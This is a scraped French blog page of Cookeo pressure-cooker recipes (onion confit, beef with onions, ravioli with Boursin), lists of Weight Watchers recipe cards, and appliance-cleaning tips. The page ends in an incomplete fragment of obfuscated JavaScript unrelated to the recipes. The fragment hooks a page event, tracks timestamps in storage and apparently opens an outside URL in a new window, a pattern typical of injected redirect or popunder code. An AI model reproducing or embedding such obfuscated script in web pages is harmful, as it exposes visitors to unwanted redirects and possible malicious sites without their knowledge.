Confit oignons maison cookeo pour vos foies gras

Voilà en cherchant on finit toujours par trouver des recettes bien sumpathiques . Voici pour l’heure une recette de confit d’oignons au cookeo . Une version qui n’utilise que la fonction dorer du cookeo (dautres recettes utilisent aussi la fonction cuisson rapide )
Ingrédients pour un pot
500 g d’oignons coupés en morceaux
100 g de sucre en poudre
4 cuillères à soupe de vinaigre balsamique
2 cuillères à soupe d’huile d’olive
Préparation
Mode dorer

Dés le début du préchauffage versez de l’huile d’olive dans la cuve pour faire dorer les morceaux d’oignons .
 Quand les oignons sont translucides saupoudrez de sucre en poudre et versez le vinaigre balsamique . Laissez cuire jusqu’à évaporation du vinaigre . Remuez de temps en temps .
Versez la préparation dans un pot de confiture et retournez le (couvercle en bas ) pendant qu’il se refroidit .

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5O  fiches recettes cookeo weight watchers avec liens

Aiguillettes de poulet aux légumes4 PP 5SP

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Poireaux pommes de terre weight watchers 2 PP 5 SP

Poireaux pommes de terre weight watchers à la crème 4 PP 5 SP

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Porc moutarde weight watchers 6 PP 8 SP

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Rôti de porc au cidre weight watchers 4 PP 10 SP

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Tomates farcies weight watchers 6 PP 4 SP

Tomates farcies champignons style weight watchers 4PP 6 SP

Trio de poivrons weight watchers 2PP 2SP

Veau marengo cookeo weight watchers  4 PP 5 SP

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Fiche cookeo poulet entier herbes de Provence 330 CAL  6 PP  12 SP

[youtube https://www.youtube.com/watch?v=mfEWsbMiUp0]
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PDF cookeo spécial fêtes gratuit

Vous allez trouvez dans cet article un énorme PDF de 160 recettes pour les fêtes . Ce PDF on le doit au super blog de « Recettes cookeo dans la joie et la bonne humeur « 

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Fiche cookeo porc au cidre weight watchers. Toujours bon et léger 7 PP 12 SP

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Bonjour tout le monde

Certains le savent d’autres peut être pas que je posséde une chaine youtube avec des vidéos de mes recettes au cookeo . Pour l’instant je me contente de décrire les différentes étapes de la recette avec les différents ingrédients nécessaires .En fait vous voyez mes mains et vous entendez ma voix .

Je me pose donc une question et je vous la pose également préférez vous que je continue comme cela ou préférez vous que je fasse une vidéo sans paroles juste avec les différentes étapes comme cela se fait beaucoup actuellement . En fait je filme les différentes étapes , je ne parle plus et je met du texte pour facilitez la compréhension .

Pour découvrir les différentes vidéos cookeo c’est ICI

Pour la chaine YOUTUBE c’est ICI

Pour le sondage si vous souhaitez participer cliquez ICI

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Bœuf sauté aux oignons Recette cookeo 282 CALORIES 8 PP 9 SP

Ingrédients pour 4 personnes

500 g de viande de bœuf

200  g de carottes

3  oignons

½ cuillère à café de gingembre

4 cuillères à soupe de sauce soja

2 cuillères à soupe de vinaigre de cidre

1 cuillère à café de sucre

200 ml d’eau

Sel

Poivre

Huile d ‘olive

Préparation

Mode dorer

Versez de l’huile dans la cuve et faites revenir les oignons puis la viande.

Ajoutez le vinaigre de cidre , la sauce soja ,le gingembre et le sucre. Salez et poivrez selon votre convenance.

Ajoutez les carottes.

Versez les 200 ml d’eau .

Cuisson rapide ou sous pression

Programmez 10 mn . Servez chaud avec un féculent de votre choix.
[youtube https://www.youtube.com/watch?v=7xp-WijqOco]
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Fiche cookeo carbonnade weight watchers  5 PP 15 SP

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Fiche cookeo choux de Bruxelles aux lardons  weight watchers 3 PP 3 SP

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//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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Nettoyage cookeo comment faire ?

Vous trouverez ici des astuces pour le nettoyage cookeo afin que celui fonctionne correctement au quotidien et  pour prolonger sa durée de vie .

1° DEMONTAGE ET NETTOYAGE COOKEO

Vous trouverez dans  cette vidéo la façon de démonter le cookeo et de le laver .
[youtube https://www.youtube.com/watch?v=5Y_9I8V7P_c]

2° LA CUVE

Dans cette vidéo des astuces pour désodoriser votre cookeo .
[youtube https://www.youtube.com/watch?v=PnMyP-2NHEE]

3° LA PLAQUE CHAUFFANTE

Pour le nettoyage de la plAque chauffante vous trouverez 2 astuces :

• la première conciste à utilser du bicabonate alimentaire suivre ICI
• pour la seconde version il s’agit d’utiliser une gomme magique de MR Propre suivez ICI   
• 

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js4° NETTOYAGE VALVES ET CAHE VALVES

Une vidéo pour le nettoyage des valves et cache valve 
[youtube https://www.youtube.com/watch?v=TIeyUsvupJQ]

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Haché boeuf pommes de terre cookeo

Ingrédients  pour 4 personnes

400 grammes de viande hachée

1 kilo de pommes de terre

1 oignon

1 petite  boîte de tomates pelées

Huile d’olive

Sel

Poivre

300 ml  d’eau

1 cube de bouillon de bœuf

 1 cuillère à café d’ail déshydraté

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve

Faites revenir les oignons coupés en morceaux

Ajoutez au bout d’une minute de fonction dorer la viande hachée .

Ajoutez les tomates pelées ,la cuillère à café d’ail déshydraté.

Salez et poivrez selon votre convenance ajouter ensuite les pommes de terre coupées en morceaux Versez les 300 ml d’eau avec le cube de bouillon de bœuf émietté

Cuisson rapide ou sous pression programmer 12 minutes

Servez chaud 
[youtube https://www.youtube.com/watch?v=nE1dXm-N3Qs]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Ravioli boursin  une recette cookeo

Ingrédients pour4 personnes

600 g de ravioli 4 fromages

4 cuillères à soupe de crème fraîche

3 cuillères à soupe  de Boursin ou équivalent

1 cube de bouillon de bœuf

200 ml d’eau

Sel

poivre

Préparation

Ajoutez dans la cuve les raviolis puis versez l’eau et le cube de bouillon de bœuf émiétté.

Salez et poivrez .

Cuisson rapide ou sous pression

Programmez 4 mn (temps indiqué sur  le paquet divisé par 2)

Quand la cuisson est terminée ajoutez le Boursin et la crème fraîche

Servez chaud avec du gruyère râpé par exemple
[youtube https://www.youtube.com/watch?v=5lgpXjkFNEc]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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Voici un PDF de 20 recettes cookeo gâteau à télécharger gratuitement en cliquant sur l’image ou ICI.

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());